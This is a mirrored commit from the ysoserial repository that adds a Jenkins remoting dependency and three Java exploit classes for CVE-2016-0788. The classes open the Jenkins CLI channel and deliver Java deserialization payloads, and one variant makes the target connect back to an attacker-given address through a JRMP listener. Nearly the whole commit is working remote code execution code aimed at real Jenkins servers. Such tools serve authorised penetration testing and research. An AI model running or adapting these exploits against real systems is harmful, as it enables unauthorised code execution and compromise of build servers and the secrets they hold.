mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
Add jenkins client and exploits (CVE-2016-0788)
This commit is contained in:
@@ -51,6 +51,14 @@
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
|
||||
<repositories>
|
||||
<repository>
|
||||
<id>jenkins</id>
|
||||
<layout>default</layout>
|
||||
<url>http://repo.jenkins-ci.org/public/</url>
|
||||
</repository>
|
||||
</repositories>
|
||||
|
||||
<dependencies>
|
||||
|
||||
@@ -105,6 +113,11 @@
|
||||
<artifactId>commons-codec</artifactId>
|
||||
<version>1.9</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<artifactId>remoting</artifactId>
|
||||
<groupId>org.jenkins-ci.main</groupId>
|
||||
<version>2.55</version>
|
||||
</dependency>
|
||||
|
||||
<!-- gadget dependecies -->
|
||||
|
||||
@@ -179,25 +192,14 @@
|
||||
<artifactId>myfaces-impl</artifactId>
|
||||
<version>2.2.9</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>xalan</groupId>
|
||||
<artifactId>xalan</artifactId>
|
||||
<version>2.7.2</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
<profiles>
|
||||
<profile>
|
||||
<id>xalan</id>
|
||||
<activation>
|
||||
<property>
|
||||
<name>properXalan</name>
|
||||
</property>
|
||||
</activation>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>xalan</groupId>
|
||||
<artifactId>xalan</artifactId>
|
||||
<version>2.7.2</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
</profile>
|
||||
|
||||
<profile>
|
||||
<id>hibernate5</id>
|
||||
<activation>
|
||||
|
||||
@@ -0,0 +1,136 @@
|
||||
package ysoserial.exploit;
|
||||
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.Socket;
|
||||
import java.net.SocketException;
|
||||
import java.net.URL;
|
||||
import java.net.URLConnection;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
import java.util.concurrent.ThreadFactory;
|
||||
|
||||
import javax.net.SocketFactory;
|
||||
|
||||
import hudson.remoting.Callable;
|
||||
import hudson.remoting.Channel;
|
||||
import hudson.remoting.Channel.Mode;
|
||||
import hudson.remoting.ChannelBuilder;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
@SuppressWarnings ( {
|
||||
"rawtypes"
|
||||
} )
|
||||
public class JenkinsCLI {
|
||||
public static final void main ( final String[] args ) {
|
||||
if ( args.length < 3 ) {
|
||||
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <payload_arg>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 1 ]);
|
||||
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
||||
System.err.println("Invalid payload type '" + args[ 1 ] + "'");
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
final Object payloadObject;
|
||||
try {
|
||||
final ObjectPayload payload = payloadClass.newInstance();
|
||||
payloadObject = payload.getObject(args[ 2 ]);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
System.err.println("Failed to construct payload");
|
||||
e.printStackTrace(System.err);
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
String jenkinsUrl = args[ 0 ];
|
||||
Channel c = null;
|
||||
try {
|
||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||
c = JenkinsCLI.openChannel(isa);
|
||||
c.call(getPropertyCallable(payloadObject));
|
||||
}
|
||||
catch ( Throwable e ) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
finally {
|
||||
if ( c != null ) {
|
||||
try {
|
||||
c.close();
|
||||
}
|
||||
catch ( IOException e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static Callable<?, ?> getPropertyCallable ( final Object prop )
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||
reqCons.setAccessible(true);
|
||||
Object getJarLoader = reqCons
|
||||
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
|
||||
prop
|
||||
});
|
||||
return (Callable<?, ?>) getJarLoader;
|
||||
}
|
||||
|
||||
public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException {
|
||||
URL u = new URL(jenkinsUrl);
|
||||
|
||||
URLConnection conn = u.openConnection();
|
||||
if ( ! ( conn instanceof HttpURLConnection ) ) {
|
||||
System.err.println("Not a HTTP URL");
|
||||
throw new MalformedURLException();
|
||||
}
|
||||
|
||||
HttpURLConnection hc = (HttpURLConnection) conn;
|
||||
if ( hc.getResponseCode() >= 400 ) {
|
||||
System.err.println("* Error connection to jenkins HTTP " + u);
|
||||
}
|
||||
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
|
||||
|
||||
return new InetSocketAddress(u.getHost(), clip);
|
||||
}
|
||||
|
||||
public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException {
|
||||
System.err.println("* Opening socket " + isa);
|
||||
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
System.err.println("* Opening channel");
|
||||
OutputStream outputStream = s.getOutputStream();
|
||||
DataOutputStream dos = new DataOutputStream(outputStream);
|
||||
dos.writeUTF("Protocol:CLI-connect");
|
||||
ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
|
||||
|
||||
public Thread newThread ( Runnable r ) {
|
||||
Thread t = new Thread(r, "Channel");
|
||||
t.setDaemon(true);
|
||||
return t;
|
||||
}
|
||||
});
|
||||
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
|
||||
System.err.println("* Channel open");
|
||||
return c;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,231 @@
|
||||
package ysoserial.exploit;
|
||||
|
||||
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Socket;
|
||||
import java.rmi.activation.ActivationDesc;
|
||||
import java.rmi.activation.ActivationID;
|
||||
import java.rmi.activation.ActivationInstantiator;
|
||||
|
||||
import javax.net.SocketFactory;
|
||||
|
||||
import hudson.remoting.Callable;
|
||||
import hudson.remoting.Channel;
|
||||
import hudson.remoting.JarLoader;
|
||||
import sun.rmi.server.Util;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
import ysoserial.payloads.JRMPListener;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
|
||||
/**
|
||||
* CVE-2016-0788 exploit (1)
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings ( {
|
||||
"rawtypes", "restriction"
|
||||
} )
|
||||
public class JenkinsListener {
|
||||
|
||||
public static final void main ( final String[] args ) {
|
||||
|
||||
if ( args.length < 3 ) {
|
||||
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <payload_type> <payload_arg>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 1 ]);
|
||||
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
||||
System.err.println("Invalid payload type '" + args[ 1 ] + "'");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String jenkinsUrl = args[ 0 ];
|
||||
int jrmpPort = 12345;
|
||||
|
||||
Channel c = null;
|
||||
try {
|
||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||
c = JenkinsCLI.openChannel(isa);
|
||||
|
||||
Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
|
||||
InvocationHandler remote = Proxy.getInvocationHandler(call);
|
||||
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
|
||||
|
||||
System.err.println("* JarLoader oid is " + oid);
|
||||
|
||||
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
|
||||
|
||||
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||
|
||||
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
|
||||
|
||||
try {
|
||||
c.call((Callable<?, ?>) o);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
// [ActivationGroupImpl[UnicastServerRef [liveRef:
|
||||
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
|
||||
// -9046794842107247609]]
|
||||
|
||||
System.err.println(e.getMessage());
|
||||
|
||||
parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e);
|
||||
}
|
||||
|
||||
}
|
||||
catch ( Throwable e ) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
finally {
|
||||
if ( c != null ) {
|
||||
try {
|
||||
c.close();
|
||||
}
|
||||
catch ( IOException e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @param oid
|
||||
* @param uro
|
||||
* @param reqClass
|
||||
* @return
|
||||
* @throws NoSuchMethodException
|
||||
* @throws InstantiationException
|
||||
* @throws IllegalAccessException
|
||||
* @throws InvocationTargetException
|
||||
* @throws ClassNotFoundException
|
||||
*/
|
||||
private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
|
||||
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
|
||||
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||
reqCons.setAccessible(true);
|
||||
return reqCons
|
||||
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
|
||||
uro,
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @param args
|
||||
* @param payloadClass
|
||||
* @param jrmpPort
|
||||
* @param isa
|
||||
* @param e
|
||||
* @throws Exception
|
||||
* @throws IOException
|
||||
*/
|
||||
private static void parseObjIdAndExploit ( final String[] args, final Class<? extends ObjectPayload> payloadClass, int jrmpPort,
|
||||
InetSocketAddress isa, Exception e ) throws Exception, IOException {
|
||||
String msg = e.getMessage();
|
||||
int start = msg.indexOf("objID:[");
|
||||
if ( start < 0 ) {
|
||||
throw new Exception("Failed to get object id");
|
||||
}
|
||||
|
||||
int sep = msg.indexOf(", ", start + 1);
|
||||
|
||||
if ( sep < 0 ) {
|
||||
throw new Exception("Failed to get object id, separator");
|
||||
}
|
||||
|
||||
int end = msg.indexOf("]", sep + 1);
|
||||
|
||||
if ( end < 0 ) {
|
||||
throw new Exception("Failed to get object id, separator");
|
||||
}
|
||||
|
||||
String uid = msg.substring(start + 7, sep);
|
||||
String objNum = msg.substring(sep + 2, end);
|
||||
|
||||
System.err.println("* UID is " + uid);
|
||||
System.err.println("* ObjNum is " + objNum);
|
||||
|
||||
String[] parts = uid.split(":");
|
||||
|
||||
long obj = Long.parseLong(objNum);
|
||||
int o1 = Integer.parseInt(parts[ 0 ], 16);
|
||||
long o2 = Long.parseLong(parts[ 1 ], 16);
|
||||
short o3 = Short.parseShort(parts[ 2 ], 16);
|
||||
|
||||
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @param inetSocketAddress
|
||||
* @param obj
|
||||
* @param o1
|
||||
* @param o2
|
||||
* @param o3
|
||||
* @throws IOException
|
||||
*/
|
||||
private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class<?> payloadClass, String payloadArg )
|
||||
throws IOException {
|
||||
Socket s = null;
|
||||
DataOutputStream dos = null;
|
||||
try {
|
||||
System.err.println("* Opening JRMP socket " + isa);
|
||||
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
OutputStream os = s.getOutputStream();
|
||||
dos = new DataOutputStream(os);
|
||||
|
||||
dos.writeInt(TransportConstants.Magic);
|
||||
dos.writeShort(TransportConstants.Version);
|
||||
dos.writeByte(TransportConstants.SingleOpProtocol);
|
||||
|
||||
dos.write(TransportConstants.Call);
|
||||
|
||||
@SuppressWarnings ( "resource" )
|
||||
final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
|
||||
|
||||
objOut.writeLong(obj);
|
||||
objOut.writeInt(o1);
|
||||
objOut.writeLong(o2);
|
||||
objOut.writeShort(o3);
|
||||
|
||||
objOut.writeInt(-1);
|
||||
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
|
||||
|
||||
final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance();
|
||||
final Object object = payload.getObject(payloadArg);
|
||||
objOut.writeObject(object);
|
||||
os.flush();
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
finally {
|
||||
if ( dos != null ) {
|
||||
dos.close();
|
||||
}
|
||||
if ( s != null ) {
|
||||
s.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
package ysoserial.exploit;
|
||||
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.util.Random;
|
||||
|
||||
import hudson.remoting.Channel;
|
||||
import ysoserial.exploit.JRMPListener;
|
||||
import ysoserial.payloads.JRMPClient;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
|
||||
|
||||
/**
|
||||
* CVE-2016-0788 exploit (2)
|
||||
*
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
@SuppressWarnings ( {
|
||||
"rawtypes"
|
||||
} )
|
||||
public class JenkinsReverse {
|
||||
|
||||
public static final void main ( final String[] args ) {
|
||||
if ( args.length < 4 ) {
|
||||
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <payload_type> <payload_arg>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 2 ]);
|
||||
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
||||
System.err.println("Invalid payload type '" + args[ 2 ] + "'");
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
final Object payloadObject;
|
||||
try {
|
||||
final ObjectPayload payload = payloadClass.newInstance();
|
||||
payloadObject = payload.getObject(args[ 3 ]);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
System.err.println("Failed to construct payload");
|
||||
e.printStackTrace(System.err);
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
String myAddr = args[ 1 ];
|
||||
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
|
||||
String jenkinsUrl = args[ 0 ];
|
||||
|
||||
Thread t = null;
|
||||
Channel c = null;
|
||||
try {
|
||||
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||
c = JenkinsCLI.openChannel(isa);
|
||||
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
|
||||
t = new Thread(listener, "ReverseDGC");
|
||||
t.setDaemon(true);
|
||||
t.start();
|
||||
Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort);
|
||||
c.call(JenkinsCLI.getPropertyCallable(payload));
|
||||
listener.waitFor(1000);
|
||||
listener.close();
|
||||
}
|
||||
catch ( Throwable e ) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
finally {
|
||||
if ( c != null ) {
|
||||
try {
|
||||
c.close();
|
||||
}
|
||||
catch ( IOException e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
if ( t != null ) {
|
||||
t.interrupt();
|
||||
try {
|
||||
t.join();
|
||||
}
|
||||
catch ( InterruptedException e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user